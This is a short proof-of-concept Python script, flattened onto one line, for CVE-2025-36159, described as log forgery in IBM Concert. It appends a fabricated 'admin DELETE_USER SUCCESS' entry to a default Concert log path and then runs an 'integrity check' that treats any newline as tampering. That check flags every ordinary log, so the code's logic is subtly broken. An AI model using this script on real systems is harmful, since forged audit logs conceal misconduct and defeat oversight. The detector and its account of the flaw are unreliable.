CVE-2025-36159: IBM Concert日志文件伪造漏洞

# CVE-2025-36159 PoC - IBM Concert Log File Forgery # This PoC demonstrates how an attacker can forge log entries import os import datetime def exploit_log_forgery(log_file_path, target_user="admin", forged_action="SensitiveOperation"): """ Simulates log file forgery attack on vulnerable IBM Concert installation """ forged_entry = f"{datetime.datetime.now().isoformat()} - {target_user} - {forged_action} - SUCCESS\n" # Attempt to append forged entry to log file try: with open(log_file_path, 'a') as f: f.write(forged_entry) print(f"[+] Forged log entry written to {log_file_path}") print(f"[+] Entry: {forged_entry.strip()}") return True except PermissionError: print(f"[!] Permission denied - may require elevated privileges") return False except FileNotFoundError: print(f"[!] Log file not found at {log_file_path}") return False def check_log_integrity(log_file_path): """ Check for signs of log tampering """ suspicious_patterns = ['\n', '\r', '\t', '\\n'] try: with open(log_file_path, 'r') as f: content = f.read() for pattern in suspicious_patterns: if pattern in content: print(f"[!] Suspicious pattern detected: {repr(pattern)}") print("[*] Log integrity check completed") except Exception as e: print(f"[!] Error checking log: {e}") if __name__ == "__main__": # Default IBM Concert log location (may vary) log_path = "/var/log/ibm-concert/application.log" print("CVE-2025-36159 - IBM Concert Log Forgery PoC") print("=" * 50) # Demonstrate the attack exploit_log_forgery(log_path, target_user="admin", forged_action="DELETE_USER") # Check for tampering check_log_integrity(log_path)